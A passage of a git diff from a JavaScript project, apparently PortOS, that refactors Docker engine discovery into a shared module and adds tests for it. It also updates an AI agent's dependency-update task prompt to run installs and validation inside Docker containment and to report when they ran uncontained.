hosts', async () => {+ const windowsContainers = fakeDocker({ contexts: [contextRow('default', 'npipe:////./pipe/docker_engine', true)], answering: { default: version({ os: 'windows' }) } });+ expect(await resolveDockerEngine({ bin: 'docker', createCli: windowsContainers.createCli, env: {}, platform: 'linux' })).toMatchObject({ state: 'docker-unsupported' });+ const linux = fakeDocker({ contexts: [contextRow('default', 'npipe:////./pipe/docker_engine', true)], answering: { default: version() } });+ expect(await resolveDockerEngine({ bin: 'docker', createCli: linux.createCli, env: {}, platform: 'win32' })).toMatchObject({ state: 'docker-unsupported', ready: false });+ });++ it('uses the native socket when the CLI cannot list contexts', async () => {+ const docker = fakeDocker({ contextLsFails: true, answering: { 'unix:///var/run/docker.sock': version() } });+ const engine = await resolveDockerEngine({ bin: '/usr/bin/docker', createCli: docker.createCli, env: {}, platform: 'linux' });+ expect(engine).toMatchObject({ state: 'ready', engine: { kind: 'native' } });+ expect(engine.cli.globalArgs).toEqual(['--host', 'unix:///var/run/docker.sock']);+ });+});diff --git a/server/services/instanceFeatures.test.js b/server/services/instanceFeatures.test.jsindex 2e28bd3188..ae73346e35 100644--- a/server/services/instanceFeatures.test.js+++ b/server/services/instanceFeatures.test.js@@ -334,7 +334,7 @@ describe('instance features', () => {const { features } = await getInstanceFeatures();expect(Object.fromEntries(features.map((f) => [f.id, f.enabled]))).toEqual({post: true, autobiography: true, datadog: true, jira: false, eidoverse: false, gsd: false, 'cos-task-templates': false, openclaw: false, health: true,- iterm: false, rigging: false, facetime: false, imessage: true, signal: true, x: true, 'stacker-news': true, beeper: false,+ iterm: false, rigging: false, 'docker-containment': false, facetime: false, imessage: true, signal: true, x: true, 'stacker-news': true, beeper: false,jev: false,'laya-mlx': false,});diff --git a/server/services/superColliderRuntime.js b/server/services/superColliderRuntime.jsindex 2d8d7f50a9..a4540be5f5 100644--- a/server/services/superColliderRuntime.js+++ b/server/services/superColliderRuntime.js@@ -14,16 +14,15 @@* restored onto another machine reads as stale there rather than as ready.*/-import { existsSync } from 'fs';import { lstat, mkdir, readdir, readFile, rm, writeFile, chmod } from 'fs/promises';import { join } from 'path';import { randomUUID } from 'crypto';import { PATHS } from '../lib/paths.js';import { atomicWrite } from '../lib/fileCore.js';import { readJSONFile } from '../lib/jsonIo.js';-import { bufferedSpawn, spawnFailureDetail } from '../lib/bufferedSpawn.js';+import { spawnFailureDetail } from '../lib/bufferedSpawn.js';import { runStreamingCommand } from '../lib/streamingSpawn.js';-import { whichFirst } from '../lib/processEnv.js';+import { clipDiagnostic, probeDocker, resolveDockerCli as resolveSharedDockerCli } from './dockerEngine.js';import { measureWavAudio } from '../lib/wavAudioFile.js';import {SUPERCOLLIDER_CONTAINER_LIMITS,@@ -42,47 +41,21 @@ import {evaluateSuperColliderStatus,hashSuperColliderRecipe,parseDockerImage,- parseDockerVersion,superColliderContainerUser,superColliderSmokeFailure,} from '../lib/superColliderRuntime.js';-const DOCKER_PROBE_TIMEOUT_MS = 15_000;const DOCKER_RM_TIMEOUT_MS = 30_000;const BUILD_TIMEOUT_MS = 90 * 60_000;-const MAX_DIAGNOSTIC_CHARS = 600;const EVIDENCE_SCHEMA = 1;-// Docker Desktop's CLI is not always on a PM2-launched server's PATH.-const DOCKER_FALLBACK_PATHS = [- '/usr/local/bin/docker',- '/opt/homebrew/bin/docker',- '/Applications/Docker.app/Contents/Resources/bin/docker',-];--/** Keep diagnostics bounded: one line, at most MAX_DIAGNOSTIC_CHARS, tail-preferring. */-function clipDiagnostic(text) {- const flat = String(text ?? '').replace(/\s+/g, ' ').trim();- return flat.length > MAX_DIAGNOSTIC_CHARS ? `…${flat.slice(-MAX_DIAGNOSTIC_CHARS)}` : flat;-}-/**- * The docker CLI adapter every function here talks through: `capture` runs a- * short command and buffers its output; `stream` runs a long one line by line- * with timeout/cancel. Tests pass a fake with the same two methods.+ * The local docker CLI (discovery is shared with the containment profile in+ * `dockerEngine.js`), with the long-running `stream` adapter builds and+ * renders use, or null when it is not installed.*/-function createDockerCli(bin) {- return {- bin,- capture: (args, { timeoutMs = DOCKER_PROBE_TIMEOUT_MS } = {}) => bufferedSpawn(bin, args, { timeoutMs, killGraceMs: 2_000, shell: false }),- stream: (args, onLine, options = {}) => runStreamingCommand(bin, args, onLine, options),- };-}--/** The local docker CLI, or null when it is not installed. */export async function resolveDockerCli() {- const bin = await whichFirst('docker') || DOCKER_FALLBACK_PATHS.find((path) => existsSync(path)) || null;- return bin ? createDockerCli(bin) : null;+ return resolveSharedDockerCli({ stream: runStreamingCommand });}function resolveDeps({ docker, dataDir = PATHS.data, codeRoot = PATHS.root } = {}) {@@ -93,22 +66,6 @@ async function dockerFor(deps) {return deps.docker === undefined ? resolveDockerCli() : deps.docker;}-/** `{ installed, running, clientVersion, serverVersion, os, arch, error }` for a docker CLI (null = not installed). */-async function probeDocker(cli) {- if (!cli) return { installed: false, running: false, clientVersion: null, serverVersion: null, os: null, arch: null, error: null };- const result = await cli.capture(['version', '--format', '{{json .}}']);- // The client prints its half even when the engine is down, so the server- // version — not the exit code alone — is what proves the engine answered.- const version = parseDockerVersion(result.stdout);- const running = Boolean(version.serverVersion);- return {- installed: true,- running,- ...version,- error: running ? null : clipDiagnostic(result.timedOut ? 'docker did not answer in time' : spawnFailureDetail(result, 'docker engine not reachable')),- };-}-/** The managed image's metadata, or null when it is not built. */async function inspectSuperColliderImage(cli, image = SUPERCOLLIDER_IMAGE) {const result = await cli.capture(['image', 'inspect', '--format', '{{json .}}', image]);diff --git a/server/services/taskPromptDefaults.test.js b/server/services/taskPromptDefaults.test.jsindex b21938b1f2..2fd193b216 100644--- a/server/services/taskPromptDefaults.test.js+++ b/server/services/taskPromptDefaults.test.js@@ -563,6 +563,14 @@ describe('taskPromptDefaults integrity snapshot', () => {expect(PROMPT_VERSIONS['dependency-updates']).toBeGreaterThanOrEqual(5);});+ it('dependency-updates routes installs and validation through Docker containment when ready', () => {+ const current = DEFAULT_TASK_PROMPTS['dependency-updates'];+ expect(current).toContain('"{portosRoot}/scripts/contained-run.js" --phase install --apply-patch');+ expect(current).toContain('"{portosRoot}/scripts/contained-run.js" --phase validate');+ expect(current).toContain('ran\nUNCONTAINED');+ expect(PROMPT_VERSIONS['dependency-updates']).toBeGreaterThanOrEqual(8);+ });+it('keeps dependency installs inside scheduled worktrees', () => {const current = DEFAULT_TASK_PROMPTS['dependency-updates'];expect(current).toContain('intentionally private to that worktree');diff --git a/server/services/taskPromptDefaults/integrity.snapshot.json b/server/services/taskPromptDefaults/integrity.snapshot.jsonindex 8dca77c67e..b99a37864f 100644--- a/server/services/taskPromptDefaults/integrity.snapshot.json+++ b/server/services/taskPromptDefaults/integrity.snapshot.json@@ -23,7 +23,7 @@"cost-efficiency": "239bad18c51b50c80599d30b2fb0ad15","data-integrity": "5fcc4f5044101e89da5bbf4890c11a1c","data-safety": "25e79bc34cfadeab3cc3969a6c3421c2",- "dependency-updates": "2d94021c979a86a349e125f5c15665d8",+ "dependency-updates": "651c238ec23db94926ef277fe1fc0092","do-release": "97ce61508d7dd6616a8c02e2c365b872","do-replan": "35660eb7b43e4259a6a9253ed288a1db","documentation": "c94797b4bd3a0d554e225888ed48b76b",@@ -88,7 +88,7 @@"cost-efficiency": 1,"data-integrity": 1,"data-safety": 3,- "dependency-updates": 7,+ "dependency-updates": 8,"do-release": 19,"do-replan": 2,"documentation": 9,@@ -317,7 +317,8 @@"7ed05444e2602f4895bdd1e5e0edcaa8","1d59f04bea630a85a3085829db8599e7","f34cfa7e495d2bd6d3ac3c80b44447e8",- "44de787b45e037fbce281efc87706873"+ "44de787b45e037fbce281efc87706873",+ "2d94021c979a86a349e125f5c15665d8"],"do-release": ["655180dfbab22e11fab79072ac49c9d6",diff --git a/server/services/taskPromptDefaults/prompts.js b/server/services/taskPromptDefaults/prompts.jsindex 4eb0251b6d..14b11a1d1d 100644--- a/server/services/taskPromptDefaults/prompts.js+++ b/server/services/taskPromptDefaults/prompts.js@@ -530,6 +530,22 @@ intentionally private to that worktree. If validation needs installed packages,use the repository's documented package manager from the worktree so installsand lockfile regeneration stay isolated from the source checkout.+Freshly bumped packages run lifecycle scripts and test code nobody has reviewed,+so run installs and validation CONTAINED when this machine can. From the+checkout you are validating, probe once:+\`node "{portosRoot}/scripts/contained-run.js" --phase validate -- true\`.+Exit 0 means Docker containment is ready; then run every install and validation+step through it instead of on the host:+- install or lockfile regeneration: \`node "{portosRoot}/scripts/contained-run.js" --phase install --apply-patch -- <install command>\`+ (registry-only network; \`--apply-patch\` brings back lockfile changes only — edits the+ container made to any other file are withheld and listed; review \`git diff\` before committing);+- lint, typecheck, test, build: \`node "{portosRoot}/scripts/contained-run.js" --phase validate -- "<command>"\`+ (no network; it reuses the node_modules the install left in its container volume).+Any other exit means containment is not confirmed (2: refused and nothing ran;+1: the PortOS API or the run failed; 124: timed out): proceed with the host+commands as before and state in your summary that dependency validation ran+UNCONTAINED, with the exit code and message. A refusal is never a passing check.+Inventory security alerts first, then resolve open automated dependency PRs beforemaking your own bumps. A Dependabot/Renovate PR is a bump alreadyproposed and already isolated to one package — redoing it yourself conflicts with the botdiff --git a/server/services/taskPromptDefaults/versions.js b/server/services/taskPromptDefaults/versions.jsindex 78854f8c4c..fb37c5dcaa 100644--- a/server/services/taskPromptDefaults/versions.js+++ b/server/services/taskPromptDefaults/versions.js@@ -43,7 +43,7 @@ export const PROMPT_VERSIONS = {'console-errors': 4, // v4: refer to framework-neutral UI lifecycle audit. v3: carries {modeInstructions}, collects real emitted output before diagnosing, groups duplicates by cause, and forbids "fixing" an error by suppressing it. Previously v2: unified `[Improvement: {appName}]` body (pre-unification defaults shipped separate self- and app-improvement bodies)'error-handling': 4, // v4: cedes sensitive detail in an error path to privacy and partial writes to data-integrity (#12086). v3: carries {modeInstructions} and covers resilience (timeouts, retry ceilings, degraded-dependency fallback, cleanup on the error path, actionable user-facing text) while handing swallowed errors and log context to observability. Previously v2: unified `[Improvement: {appName}]` body (older default used the `[App Improvement: {appName}]` header)'typing': 3, // v3: carries {modeInstructions}, exits cleanly on an untyped project, and targets boundary escape hatches and validator/type disagreement instead of a mechanical annotation sweep. Previously v2: unified `[Improvement: {appName}]` body (older default used the `[App Improvement: {appName}]` header)- 'dependency-updates': 7, // v7: dependency-update worktrees keep package-manager writes out of the source checkout's shared node_modules. v6: the throwaway bot-PR worktree is `dep-{appSlug}-pr-<n>` — the app NAME alone did not isolate two managed apps sharing a name, and {appSlug} is rendered server-side rather than slugified by the agent (`appWorktreeSlug`, server/lib/worktreeOwnership.js). v5: inventory all Dependabot alerts and ecosystems, verify actual upstream fixes, and track unpatched mitigations separately from alert closure. v4: the Phase 1 GitLab MR listing gains `--output json` — without it glab answers with the human table, which carries the head branch but NOT the author, while the classification right below it reads both. The same bump drops `--state` from the MR-list recipes — that flag does not exist (MR state is selected by presence flags `--merged`/`--closed`/`--all`, and OPEN is the default), so `--state opened` exited 1 with `Unknown flag: --state` and Phase 1 skipped its bot-PR triage entirely on GitLab repos. v3: Phase 1 triages open Dependabot/Renovate PRs first (evidence → MERGE / FIX-THEN-MERGE / CLOSE / LEAVE, including conflict + CI-failure repair on the bot branch) before Phase 2 updates anything the bots didn't cover — an agent that bumped packages itself was duplicating and conflicting with open bot PRs. v2: generic {appName} body (older default hardcoded "PortOS")+ 'dependency-updates': 8, // v8: installs and validation run through scripts/contained-run.js (Docker containment) when it is ready, and the summary says when they ran uncontained. v7: dependency-update worktrees keep package-manager writes out of the source checkout's shared node_modules. v6: the throwaway bot-PR worktree is `dep-{appSlug}-pr-<n>` — the app NAME alone did not isolate two managed apps sharing a name, and {appSlug} is rendered server-side rather than slugified by the agent (`appWorktreeSlug`, server/lib/worktreeOwnership.js). v5: inventory all Dependabot alerts and ecosystems, verify actual upstream fixes, and track unpatched mitigations separately from alert closure. v4: the Phase 1 GitLab MR listing gains `--output json` — without it glab answers with the human table, which carries the head branch but NOT the author, while the classification right below it reads both. The same bump drops `--state` from the MR-list recipes — that flag does not exist (MR state is selected by presence flags `--merged`/`--closed`/`--all`, and OPEN is the default), so `--state opened` exited 1 with `Unknown flag: --state` and Phase 1 skipped its bot-PR triage entirely on GitLab repos. v3: Phase 1 triages open Dependabot/Renovate PRs first (evidence → MERGE / FIX-THEN-MERGE / CLOSE / LEAVE, including conflict + CI-failure repair on the bot branch) before Phase 2 updates anything the bots didn't cover — an agent that bumped packages itself was duplicating and conflicting with open bot PRs. v2: generic {appName} body (older default hardcoded "PortOS")'documentation': 9, // v9: hunts instruction files, skills, and shipped task prompts for named files/functions/flags/tools/commands absent from the tree, one finding per file (#12093). v8: drops the read-instruction-files restatement the mode banners own (#12080). v7: carries {modeInstructions} and ranks wrong documentation above missing documentation, verifying instructions against the code rather than trusting the prose. Previously v6: the changelog step names `AGENTS.md` (or `CLAUDE.md`) as the file carrying the repo's documented convention — #4852 made AGENTS.md the canonical cross-vendor agent-instructions filename, and a managed app that adopted it would otherwise be told to read a file it no longer has. v5: the changelog step defers to the convention the repo documents (some repos collect per-branch fragments in a directory so parallel agents don't conflict) instead of prescribing an append to `.changelog/NEXT.md`. v4: generic {appName} body (v1 hardcoded "PortOS"; v2/v3 retired DONE.md wording)'ui-bugs': 4, // v4: hunts the unhappy branch of each primary action and statically provable crashes (a call to a member the imported module lacks), which no longer count as speculative; cedes stranded workflows to workflow-recovery and unfinished controls to feature-completeness. Previous version: v3: carries {modeInstructions}, exits cleanly when the interface is unreachable instead of filing from imagination, and cedes layout/a11y/UX/copy to their owners. Previously v2: generic {appName} + the app UI (older default hardcoded "PortOS" + http://localhost:5555)'mobile-responsive': 4, // v4: owns every layout defect at viewport width ≤1024 plus touch; narrow containers on a desktop viewport stay with ux (#12084). v3: carries {modeInstructions} and requires the viewport width plus what a user cannot do there, rather than flagging any layout that merely looks different. Previously v2: generic {appName} app-UI body (older default hardcoded "PortOS" + http://localhost:5555)